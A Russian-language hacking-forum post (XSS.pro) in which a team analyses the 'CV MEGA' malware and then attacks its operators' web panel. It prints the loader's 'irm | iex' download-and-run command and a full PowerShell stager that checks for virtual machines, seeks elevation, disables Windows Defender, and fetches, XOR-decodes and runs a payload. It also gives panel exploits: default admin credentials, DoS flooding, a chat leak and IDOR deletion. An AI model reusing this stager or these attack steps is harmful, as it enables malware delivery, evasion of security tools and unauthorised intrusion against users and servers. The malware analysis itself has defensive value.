• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как мы с ребятами случайно тиму закрыли.

CODE XREF

RAID-массив
Забанен
Регистрация
07.10.2024
Сообщения
67
Реакции
32
Депозит
0.15 Ł
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор - CODE XREF
Только для xss.pro

Дело было было поздним майским вечером, просматривая результаты поисковой выдачи "Shodan" мы с командой ("LLCPPC Team") наткнулись непримечательную страницу входа в некую утилизацию именуемой "CV Mega" по данному адресу (http://anticoresa9923p.hopto.org/login.php). Перейдя по ссылке можно было заметить (на данный момент все домены утилизированы) 2 формы для ввода данныx и кнопку "Login". Не долго думая мы помчались на VirusTotal и после недлительного поиска мы нашли первый артефакт - образцец: - .NET-лоадер'а (SHA-256:
495569591225da30ff9f5f5fe4c633d802869b71d7814d5dda127104a4eea63f), носитель PowerShell пейлоада. !
N1: Образец лоадера.

При нажатии кнопки Inject этот незамысловатый лоадер запускает новый экземпляр CMD передавая ему такие аргументы:
Код:
private void Button_Click(object sender, RoutedEventArgs e)
{
    this.xbutton.IsEnabled = false;
    string text = "-WindowStyle Hidden -Command ";
    string text2 = "powershell";
    string text3 = "Youtube";
    string text4 = "https://dayzcheatcheck.online/nbp.php?";
    Process.Start(new ProcessStartInfo
    {
        Arguments = string.Concat(new string[] { "/c ", text2, " ", text, "\"irm \"", text4, "name=", text3, "\" | iex\"" }),
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true,
        FileName = "cmd"
    });
}

Итоговой командой выполнения этого кода послужит такая команда:
1. cmd /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbp.php?name=Youtube" | iex"

Что выполнит ps1 скрипт (см. 3) полученный с данного эндпоинт'а (см. 4) c аргументом Youtube, на тот момент мы предположили что он является тегом для мониторинга типа траффика (и были правы).

Нехитрыми манипуляциями нам удалось перехватить этот PS скрипт:
Python:
import requests

url = "https://dayzcheatcheck.online/nbp.php?name=Youtube"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/7.2.1",
    "Accept": "application/json, text/plain, */*"
}

response = requests.get(url, headers=headers)
with open("payload.ps1", "wb") as f:
    f.write(response.content)

print(f"Payload сохранен (размер: {len(response.content)} байт)")
2. Простенький скрипт для получения payload'а
P.S.: url → u, headers → h, `output_dir → out

По какой-то причине, а возможно и вовсе без нее скрипт отправлял payload лишь увидев header (от англ. - заголовок) с версией PowerShell 7.2.1, в ином случае он отправлял dir search cheat - заглушка для неискушенных пользователей что попробуют зайти на эндпоинт с браузера. Так, вот, настоящим-же payload'ом служил данный скрипт:
Код:
function Test-IsVM {
    param ( [string]$WmiClass )
    try {
        $count = (Get-WmiObject -Query "Select * from $WmiClass").Count
        return $count -eq 0
    } catch {
        return $true
    }
}

if (-not (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
    while ($true) {
        try {
            Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command irm 'http://dayzcheatcheck.online/nbp.php?name=Youtube' | iex" -Verb RunAs -WindowStyle Hidden -Wait
            exit 0
        } catch { }
    }
}

if ((Test-IsVM -WmiClass "Win32_CacheMemory") -or (Test-IsVM -WmiClass "CIM_Memory")) {
    exit 0
}

New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Force -ErrorAction SilentlyContinue | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1

Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue
Set-MpPreference -DisablePrivacyMode $true -ErrorAction SilentlyContinue
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue
Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue
Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction SilentlyContinue
Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue
Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue
Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction SilentlyContinue
Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction SilentlyContinue
Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction SilentlyContinue

Start-Sleep -Seconds 3

>$Url = "http://dayzcheatcheck.online/nbq.php?name=Youtube"
$XorKey = 0xA3
$TempFile = [System.IO.Path]::Combine($env:tEMP, "bbf3afe6f3d6.exe")
$response = Invoke-WebRequest -Uri $Url

if ($response.Content.Length -gt 0) {
    $bytes = $response.Content
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $XorKey
    }
    Add-MpPreference -ExclusionPath $TempFile -ErrorAction SilentlyContinue
    [System.IO.File]::WriteAllBytes($TempFile, $bytes)
    Start-Process $TempFile
} else {
    Write-Host 'Ошибка: файл не был загружен или пуст.'
}

PowerShell сценарий для получения основного payload'a.

К слову на момент проверки у данного лоадера было всего 0 детектов ScanTime на VirusTotal, что на данный момент переросли уже в 7.

Ничем не примечательный скрипт, простенькая проверка на VM, повышение UAC до администатора, отключение всевозможных политик Windows Defender, сохранение основного файла в зашифрованном виде, его расшифровка при помощи XOR с ключем 0xA3 и запуск.
Код:
$payloadUrl = 'http://dayzcheatcheck.xyz/nbq.php?name=Youtube'
$currentDir = Get-Location
$payloadFile = Join-Path $currentDir 'payload.bin'
$decodedFile = Join-Path $currentDir 'decoded.exe'
$xorKey = 0xA3

Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadFile -UseBasicParsing

$bytes = [IO.File]::ReadAllBytes($payloadFile)
for ($i = 0; $i -lt $bytes.Length; $i++) {
    $bytes[$i] = $bytes[$i] -bxor $xorKey
}
[IO.File]::WriteAllBytes($decodedFile, $bytes)

Remove-Item $payloadFile -Force -ErrorAction SilentlyContinue

"`nСохранен в: $decodedFile`n"
Скрипт для безопасного скачивания финального payload'а.



1752069701299.png

Сигнатуры полученного файла в DiE. (Detect It Easy).

Как видно с анализа DiE, файл представляет из себя .NET сборку весом 777 КБ.


1752069738322.png

Загрузив файл в dnSpy мы видим огромное множество НеймСпейс'ов, названия которых с первого, как впрочем и со второго взялада кажутся абсолютно бессвязными - коими и являются.

Бегло осмотрев все типы вокруг да около EntryPoint'а (от англ. Точки Входа, см. 5 ) программы и не найдя ничего стоящего внимания мы предположили что это очередная стадия лоадера, и увы, были правы.
Но закинув бинарь в Ilspy и просмотрев UserString Heap можно найти следующеие строки
1752069874831.png

Как-то странно потому-что в Dnspy в поиске по строкам невозможно найти такие строки.
Но открывая hxd(см. 6) и введя cvmega можно найти строки сертификата, хэша а ниже и сам настоящий билд данного П.О!
1752069940292.png

Как работает CV MEGA В целом?
Сначала активируется .NET-лоадер запускающий PowerShell-инжектор при нажатие, замаскированный под обычную кнопку "Inject".
Инжектор - вторая стадия, которая выполняет:

- Проверку на виртуальную среду (Anti-VM)**

- Повышение привилегий (UAC bypass)**

- Полное отключение систем виндоус деффендера (Defender Policies, MpPreference)

Только после прохождения всех этих этапов лоадер переходит к третьей стадии загрузке зашифрованного финального payload'а.
Расшифрованный исполняемый файл, в свою очередь, содержит основную вредоносную нагрузку:
RAT
Stealler
Coin Miner (Xmrig).

Где же был спрятан сам билд?

Помните .NET-бинарь весом 777 КБ? Открывая его в dnSpy, мы находим namespace SubstitutesApiController, а внутри — класс GeneratorGetProductStats, содержащий:

1752070049366.png


Это зашифрованный embedded payload array, возможно сгенерированный при помощи Payload-Encoder от 0xG00S3. Расшифровав этот массив, мы получили полный код CV MEGA.![[Pasted image 20250709152345.png]]
1752070100395.png


Спустя пару месяцев мы с нашей командой LLCPPC TEAM скроля ленту гугла, искали что можно "запатчить", попентестить и нам в наш чат "LLCPPC ПАТЧИТ" скинули данную Тиму

Мы сразу же помчали регестрироваться, но из-за халатности создателя мы смогли зайти с аккаунта админа логин был Admin пароль 1234, после просмотра мы увидели менюшка которая была и раньше в CV MEGA, и тогда мы поняли что это она, быстренько получив билд мы начали процесс реверсинга дабы убедиться на 100% что это оно - и да это оказалось оно.
LLCPPC начал быстро смотреть панель, реверсить повершелл скрипты (!уже новые)
ae на тот момент начал сканирование через разные утилиты - NetSparker и т.д
И спустя 20 минут уже была найденная уязвимость -
1. PHP Path Truncation - в том числе на CV Mega: Если войти в аккаунт и перейти на: [https://silentclickteam.store/login.php/blabla](https://silentclickteam.store/login.php/blabla "https://silentclickteam.store/login.php/blabla") Тогда панель уходит в рекурсию: [https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php "https://silentclickteam.store/login...ker/worker/worker/worker/worker/dashboard.php")
Нашел эту уязвимость LLCPPC, вручную, так-же нашли уязвимость в помощью которого можно DOS-ить сканер -
2. Если профлудить на: [https://silentclickteam.store/api/k...enscan_api.php?action=getResults&scanToken=-1 "https://silentclickteam.store/api/kleenscan_api.php?action=getResults&scanToken=-1") [https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b "https://silentclickteam.store/api/k...2a36286d0930bac96fd8091137d11462461d31345c95b") (Желательно генерировать токены в конце) То панель падает на очень долгий срок и пользователей выкидывает.
3. 3. [DoS] Возможен флуд бандлами [https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000](https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000 "https://silentclickteam.store/api/worker_add_bundle.php?name=&background=#000000")
4. 4. Утечка истории всего чата [https://silentclickteam.store/api/c...lickteam.store/api/chat_get_new.php?last_id=0 "https://silentclickteam.store/api/chat_get_new.php?last_id=0")
5. При удалении бандлов не проверяется владелец бандла, можно чужие бандлы удалять: [https://silentclickteam.store/api/w...re/api/worker_remove_bundle.php?bundle_id=534 "https://silentclickteam.store/api/worker_remove_bundle.php?bundle_id=534")

По итогу используя уязвимости мы сделали такую красоту - ![![[Pasted image 20250709154403.png]]
1752070142986.png

![[Pasted image 20250709154425.png]]![[Pasted image 20250709154431.png]]
1752070158970.png



![[Pasted image 20250709154438.png]]
1752070192946.png
1752070210214.png

Спустя 3 дня после наших атак, их домен был заблокирован. Наши агенты разведчики писали владельцу насчет нового домена и вот ответ
1752070229480.png

Такая ограмная архитектура и ради чего?Чтоб мы положили тиму?Убили домен?
Через неделю они купили Буллетпруф домен, мы начали вторую стадию атаки, у них отпала БД и они закрылись.

О владельце - Владелец известен как Dead_Artis, UnkownXyi Dead__Artis - Форум социальной инженерии — lolz[.]live (Lolzteam)
Создавал такое говно П.О как Sheet RAT - Liberium RAT если интересно можем в следующих постах расписать.

ПРИМЕЧАНИЕ - МЫ НЕ ПОДЕРЖИВАЕМ ВОРК ПО РУ, МЫ ПЕНТЕСТИЛИ ТОЛЬКО ЗА ОДОБРЕНИЕ ВОРКА ПО СНГ И РУ ЗА ЭТО ОНИ И ПОПЛАТИЛИСЬ. #STOPWORKRU
Что мы получили в итоге ? - Полный реверс вредоноса CV MEGA, закрытия тимы которая работает по RU.


Благодарности -
- Dosx (создатель DIE) помощь в реверсе: [https://dosx.su]

- LLCPPC за эксплуатацию панели: (https://t.me/LLCPPC_ATTACK)

- ANKO поиск уязвимостей

- ae идея реверса CV MEGA, DDOS Silent'a.
N.B.:
3. - Powershell сценарий
4. - Точка взаимодействия между клиентом и сервером. - https://dayzcheatcheck.online/nbp.php
5. - Место с которого программа начинает свое выполнение, за неимением в кодовом файле конструктора .cctor [.NET].
6. hex-редактор
 
Последнее редактирование модератором:
Создавал такое говно П.О как Sheet RAT - Liberium RAT если интересно можем в следующих постах расписать.
лучше не надо) можно от кринжа на половине статьи помереть
p.s пароль 1234 это жестко
 
ну это ваще ламеры какие-то ебанутые с зеленки) стопроцентно не скрываются никак, сидят на своих панелях со своих же айпишников.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх